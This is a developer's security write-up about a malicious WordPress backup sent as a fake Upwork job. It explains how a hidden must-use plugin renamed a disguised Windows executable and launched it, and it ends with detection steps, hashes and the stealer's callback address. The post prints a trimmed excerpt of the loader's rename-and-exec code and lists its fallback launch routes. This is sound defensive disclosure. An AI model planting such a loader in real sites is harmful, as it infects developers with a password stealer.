helban.dev

Malware in a WordPress backup, disguised as a photo

If a client you have never worked with sends a WordPress backup and wants a localhost screenshot before funding anything, read the archive before you open it. This one came in as a routine Elementor rescue on Upwork. Inside the zip, a must-use plugin was waiting to launch a Windows program the first time the site loaded, and the program sat in the uploads folder under a .jpeg name.

Type: security note Stack: WordPress · PHP · Python Date: November 2026

A small rescue job with a big budget

The invitation described a six-page site with one contact form. An Elementor update had taken down the front end and wp-admin together, the hosting had expired, and the only copy left was an export in a zip. I fix sites like that regularly.

The surroundings were less ordinary. The client's account was two days old, the same invitation had gone to thirty freelancers, and the budget was $1,600 for six pages. My proposal kept the zip closed until the first milestone was funded in Upwork escrow.

The reply accepted my price and sent a Dropbox link, with the order reversed.

"fully local only, personal reasons. LocalWP or XAMPP on your machine, nothing online. (…) Import it locally, send a screenshot with localhost in the bar, and we’ll fund M1."

Why the screenshot was the dangerous part

Proof before payment is a fair thing to want. But a localhost screenshot means loading the site, and loading a WordPress site executes its PHP on the machine it runs on. On a Windows laptop with LocalWP or XAMPP, that machine is yours. So the archive got read first, by a script, without being extracted.

What a checksum scan would have told you

Nothing alarming. The export from WP Migrate held 8,300 files, the 33 MB database among them. All 3,349 core files of WordPress 6.9.5 matched the official checksums byte for byte, and so did Elementor and three more plugins.

Two details did not fit. The database listed ten active plugins, but the export carried folders for only four. And the mu-plugins folder had, next to two files named after Hostinger, a third one called custom-fields-handler.php.

How a mu-plugin ran an .exe disguised as a JPEG

Must-use plugins load on every request, and wp-admin has no switch to turn them off. This one waited for WordPress to start, looked in uploads for product-detail-mockup-soft-blue-background.jpeg, renamed it to .exe and tried nine ways of launching it in a row.

$old_filename = 'product-detail-mockup-soft-blue-background.jpeg';
$new_filename = 'product-detail-mockup-soft-blue-background.exe';
// …
if ( ! rename( $old_file_path, $new_file_path ) ) {
// …
$cmd = '"' . $new_file_path . '"';
@exec( $cmd, $output, $code );

Trimmed from the original file. When exec fails, eight fallbacks follow, among them a throwaway .bat file, Windows Script Host and finally pcntl_exec.

The "photo" is 4.6 MB and its first two bytes are MZ, the signature of a Windows executable. A genuine JPEG starts with FF D8 FF. Renaming a file takes a second, and the first bytes still give it away.

The .bat and COM routes only exist on Windows, and so does the program. My guess is that this is why the client wanted LocalWP or XAMPP on my own computer. Opening localhost for the screenshot would have been enough to start it.

My first script let it through

The scanner I ran first judged files by their extension, so the .jpeg passed as an image. I caught the loader only by reading every mu-plugin by hand. It now reads the first bytes of every file, prints every mu-plugin and flags any that launches a program. A harmless replica of this archive sits in its tests, and with the byte check switched off that test fails.

Before you import a backup you didn't make

  • Keep it off your own computer until you know what is inside, and above all out of LocalWP or XAMPP on Windows.
  • List the zip instead of extracting it, then look at the first bytes of every file in uploads.
  • Compare core and plugins with the wordpress.org checksums, keeping in mind that a clean core says nothing about the rest.
  • Compare the theme file by file with the same version downloaded fresh from wordpress.org.
  • Read every file in wp-content/mu-plugins and every PHP file lying directly in wp-content.
  • Match the plugins the database calls active against the plugin folders that actually exist.
  • Search the database dump for PHP, eval( and base64_decode, and check whether a snippet plugin such as WPCode or Code Snippets is active. Those plugins keep PHP in the database, where no check of the files can see it. In this export WPCode was active with no plugin folder, and I never searched its dump.
  • Import last, inside an isolated Linux container.

What the program turned out to be

I never ran it, and in the end I didn't have to. On 8 November someone uploaded the fake JPEG to VirusTotal, where it went through two sandboxes, CAPE and Zenbox. 10 of 70 antivirus engines flag it. Kaspersky and Rising both put it in the Vidar family, and Kaspersky files it as a password stealer (Trojan-PSW). It is a 64-bit Windows program written in Go 1.23.5, with an invalid code signature.

In the sandboxes it started Chrome in headless mode, with no window, and sent the list of running processes and some files to http://144.31.238.11:3457/. A rule for reading saved Wi-Fi passwords fired too. On a freelancer's laptop, that same browser holds logged-in Upwork and email sessions.

How it ended

The message with the link never got a reply. Upwork support received the file paths and SHA-256 hashes and passed the report on to their security team. Nothing from the zip ran on my side, and the zip is deleted.

I also sent the PHP loader to Wordfence. On 9 November their threat intelligence team wrote back that they'll use the sample to improve their detection signatures in a future update.

If the same file reached you

It arrived as Archive.zip. A matching checksum means it is the same file.

SHA-256 of Archive.zip
49163178348bd8f41c293c47e814d3c50de8ba66ba69e453110d9a3b4014245c

SHA-256 of the fake JPEG (4,643,720 bytes)
3c3d0c4a00fb325dad6623813dabd07eb8e715fdd29230d2a3b9fed8f9c474bf

Has your site been hacked?

Tell me what the site is doing and where your backup came from. I read the files before anything runs, then remove what does not belong there and get the site back up.

See scope and price